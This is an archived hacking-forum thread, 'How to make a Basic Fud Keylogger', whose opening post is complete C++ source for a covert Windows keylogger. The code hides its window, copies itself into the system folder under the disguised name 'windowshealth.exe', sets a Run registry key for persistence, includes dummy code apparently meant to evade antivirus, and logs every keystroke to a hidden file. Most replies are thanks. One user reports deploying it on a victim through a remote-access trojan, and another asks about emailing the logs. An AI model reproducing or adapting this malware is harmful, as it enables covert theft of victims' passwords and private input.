PDA

View Full Version : How to make a Basic Fud Keylogger.



manzalawi
01-29-2011, 11:19 AM
#include <iostream>
#include <cstdlib>
#include <Windows.h>
#include <emu.h>

using namespace std;

char lpSystemDir[MAX_PATH];
char lpSystemFile[MAX_PATH];
char lpSystemLog[MAX_PATH];

BOOL IsLog();
BOOL IsCopyFile();
BOOL IsAutostart();
BOOL IsDummy();

void hidewindow();


int main()
{
hidewindow();

if(IsAll() == 1)
{
return 1;
}

IsDummy();
IsAutostart();
IsLog();
return 0;

}


void hidewindow()
{
FreeConsole();
AllocConsole();
ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0);
}

BOOL IsDummy()
{
int number1 = 55;
int number2 = 30;

char str[10] = "blub";
string str2 = "hello";

printf("%s",str);
cout << str2 << endl;

return number1 * number2;
}

BOOL IsCopyFile()
{
char ownpath[MAX_PATH];

GetModuleFileName(0,ownpath,sizeof(ownpath));

if(CopyFile(ownpath, lpSystemFile, FALSE) == 0)
{
return 0;;
}

return 1;
}

BOOL IsAutostart()
{
GetSystemDirectory(lpSystemDir, sizeof(lpSystemDir));

strcpy(lpSystemFile,lpSystemDir);
strcat(lpSystemFile,"\\windowshealth.exe");

if(IsCopyFile() == 1)
{

HKEY key;

if(RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&key) == 0)
{
RegSetValueEx((HKEY)key,"windowshealth",0,REG_SZ,(BYTE *)lpSystemFile,strlen(lpSystemFile));
return 1;
}

}

return 0;
}

BOOL IsLog()
{
short comp;

while(1)
{

Sleep(15);

for(comp =8 ; comp <= 222; comp++)
{

if(GetAsyncKeyState(comp) == -32767)
{

strcpy(lpSystemLog,lpSystemDir);
strcat(lpSystemLog,"\\windowshealth.log");

FILE *file;
file=fopen(lpSystemLog,"a+");

if(file != NULL)
{

if( (comp >= 39) && (comp <= 64) )
{
fputc(comp,file);
fclose(file);
break;
}

else if( (comp > 64) && (comp < 91) )
{
comp+=32;
fputc(comp,file);
fclose(file);
break;
}

else
{

switch(comp)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;

case VK_RETURN:
fputs("\n",file);
fclose(file);
break;

case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);
break;

case VK_TAB:
fputs("[TAB]",file);
fclose(file);
break;

case VK_DELETE:
fputs("[DEL]",file);
fclose(file);
break;

case VK_CLEAR:
fputs("[CLEAR]",file);
fclose(file);
break;

case VK_MENU:
fputs("[ALT]",file);
fclose(file);
break;

case VK_PAUSE:
fputs("[PAUSE]",file);
fclose(file);
break;

case VK_ESCAPE:
fputs("[ESC]",file);
fclose(file);
break;

case VK_NEXT:
fputs("[PAGEDOWN]",file);
fclose(file);
break;

case VK_END:
fputs("[END]",file);
fclose(file);
break;

case VK_HOME:
fputs("[HOME]",file);
fclose(file);
break;

case VK_LEFT:
fputs("[LEFT]",file);
fclose(file);
break;

case VK_UP:
fputs("[UP]",file);
fclose(file);
break;

case VK_RIGHT:
fputs("[RIGHT]",file);
fclose(file);
break;

case VK_DOWN:
fputs("[DOWN]",file);
fclose(file);
break;

case VK_SELECT:
fputs("[SELECT]",file);
fclose(file);
break;

case VK_PRINT:
fputs("[PRINT]",file);
fclose(file);
break;

case VK_EXECUTE:
fputs("[EXECUTE]",file);
fclose(file);
break;

case VK_SNAPSHOT:
fputs("[SNAPSHOT]",file);
fclose(file);
break;

case VK_INSERT:
fputs("[INSERT]",file);
fclose(file);
break;

case VK_HELP:
fputs("[HELP]",file);
fclose(file);
break;

case VK_LWIN:
fputs("[LWIN]",file);
fclose(file);
break;

case VK_RWIN:
fputs("[RWIN]",file);
fclose(file);
break;

case VK_APPS:
fputs("[APPS]",file);
fclose(file);
break;

case VK_SLEEP:
fputs("[SLEEP]",file);
fclose(file);
break;

case 0x6C:
fputs("[SEPERATOR]",file);
fclose(file);
break;

case VK_SUBTRACT:
fputs("[SUBTRACT]",file);
fclose(file);
break;

case VK_MULTIPLY:
fputs("*",file);
fclose(file);
break;

case VK_ADD:
fputs("[ADD]",file);
fclose(file);
break;

case VK_DECIMAL:
fputs("[DECIMAL]",file);
fclose(file);
break;

case VK_DIVIDE:
fputs("/",file);
fclose(file);
break;

case VK_NUMLOCK:
fputs("[NUMLOCK]",file);
fclose(file);
break;

case VK_SCROLL:
fputs("[SCROLLLOCK]",file);
fclose(file);
break;

case VK_F1:
fputs("[F1]",file);
fclose(file);
break;

case VK_F2:
fputs("[F2]",file);
fclose(file);
break;

case VK_F3:
fputs("[F4]",file);
fclose(file);
break;

case VK_F4:
fputs("[F4]",file);
fclose(file);
break;

case VK_F5:
fputs("[F5]",file);
fclose(file);
break;

case VK_F6:
fputs("[F6]",file);
fclose(file);
break;

case VK_F7:
fputs("[F7]",file);
fclose(file);
break;

case VK_F8:
fputs("[F8]",file);
fclose(file);
break;

case VK_F9:
fputs("[F9]",file);
fclose(file);
break;

case VK_F10:
fputs("[F10]",file);
fclose(file);
break;

case VK_F11:
fputs("[F11]",file);
fclose(file);
break;

case VK_F12:
fputs("[F12]",file);
fclose(file);
break;

case VK_F13:
fputs("[F13]",file);
fclose(file);
break;

case VK_F14:
fputs("[F14]",file);
fclose(file);
break;

case VK_F15:
fputs("[F15]",file);
fclose(file);
break;

case VK_F16:
fputs("[F16]",file);
fclose(file);
break;

case VK_F17:
fputs("[F17]",file);
fclose(file);
break;

case VK_F18:
fputs("[F18]",file);
fclose(file);
break;

case VK_F19:
fputs("[F18]",file);
fclose(file);
break;

case VK_F20:
fputs("[F20]",file);
fclose(file);
break;

case VK_F21:
fputs("[F21]",file);
fclose(file);
break;

case VK_F22:
fputs("[F22]",file);
fclose(file);
break;

case VK_F23:
fputs("[F23]",file);
fclose(file);
break;

case VK_F24:
fputs("[F24]",file);
fclose(file);
break;

case VK_LSHIFT:
fputs("[LSHIFT]",file);
fclose(file);
break;

case VK_RSHIFT:
fputs("[RSHIFT]",file);
fclose(file);
break;

case VK_LCONTROL:
fputs("[LCONTROL]",file);
fclose(file);
break;

case VK_RCONTROL:
fputs("[RCONTROL]",file);
fclose(file);
break;

case VK_LMENU:
fputs("[LMENU]",file);
fclose(file);
break;

case VK_RMENU:
fputs("[RMENU]",file);
fclose(file);
break;

case 0xAD:
fputs("[VOLUMEMUTE]",file);
fclose(file);
break;

case VK_OEM_1:
fputs("[ ;-: ]",file);
fclose(file);
break;

case VK_OEM_2:
fputs("[ /-? ]",file);
fclose(file);
break;

case VK_OEM_3:
fputs("[`-~]",file);
fclose(file);
break;

case VK_OEM_4:
fputs("[ [-{ ]",file);
fclose(file);
break;

case VK_OEM_5:
fputs("[ \\-| ]",file);
fclose(file);
break;

case VK_OEM_6:
fputs("[ ]-} ]",file);
fclose(file);
break;

case VK_OEM_7:
fputs("[ '-\" ]",file);
fclose(file);
break;

case 0xE2:
fputs("[ BRACKET-\\ ]",file);
fclose(file);
break;

case VK_PLAY:
fputs("[PLAY]",file);
fclose(file);
break;

case VK_ZOOM:
fputs("[ZOOM]",file);
fclose(file);
break;

case 0xBB:
fputs("+",file);
fclose(file);
break;

case 0xBC:
fputs(",",file);
fclose(file);
break;

case 0xBD:
fputs("-",file);
fclose(file);
break;

case 0xBE:
fputs(".",file);
fclose(file);
break;

case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;

case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;

case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;

case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;

case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;

case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;

case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;

case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;

case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;

case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;

case VK_CAPITAL:
fputs("[CAPSLOCK]",file);
fclose(file);
break;

default:
fclose(file);
break;
}

}

}

}

}

}

return 1;
}

dont 4get say thx :)

d-ace
02-18-2011, 03:42 PM
thanks........

paper
02-21-2011, 12:34 PM
ty for sharing...

kelly33
02-21-2011, 01:03 PM
thanks.................

SaEaS
02-26-2011, 09:34 PM
thnx brother

zaki1971
02-27-2011, 10:46 AM
That was a good contribution. thanks.

Eimutiis
02-28-2011, 02:50 PM
Thanks for sharing.

12ksawaya
03-05-2011, 04:34 AM
great post man, keep it up

R4BB1T5
03-09-2011, 01:44 PM
thanx
nice posting and sharing

trantam
03-09-2011, 07:27 PM
thanks........................

precedenceDemon
04-01-2013, 12:59 PM
Isn't GetAsyncKeyState() a highly detected method of grabbing key strokes? Also, it's a shame it doesn't support unicode. Why do you want people to say thanks? Pretty sure I've seen this skeleton a few hundred times.

KemyKO
10-11-2015, 02:33 PM
I wouldlike to see if it`s possible to send them through email too ...

LordNate
11-20-2016, 01:08 AM
Sent it to some infected user of mine on my rat. Works great, I've tried this yesterday and had to post feedback now. The keylogger on my rat is not working well so this is pretty nice.

jasonjason321jason
12-24-2016, 07:30 PM
Damn this is crazy!!

gab123
01-10-2017, 03:33 PM
easy tutorial, thanks

Ragnus
01-10-2017, 08:04 PM
Thanks man.

leaderlittle
02-22-2017, 05:41 PM
nice posting and sharing thanksx

Vodka1813
03-02-2017, 12:15 AM
Thanx you.....

ocim01
03-09-2017, 12:43 PM
awesome, gracias dude

hackinet
04-05-2017, 08:06 AM
Thanks it ok

Poseidon Swag
04-16-2017, 03:26 AM
Thx brother!!

mouadrm
04-19-2017, 12:55 AM
thanks.............................

alirezah
05-10-2017, 05:40 PM
thank u so much!!

Ethan4765
06-12-2017, 02:31 AM
couldve used this a few days ago but thanks :)

Cyber526
06-15-2017, 08:39 PM
Thank You For sharing This.

nonidentified
07-16-2017, 10:16 AM
nice code ! ty

ehsanjt98
02-13-2018, 05:46 PM
thnk nuddy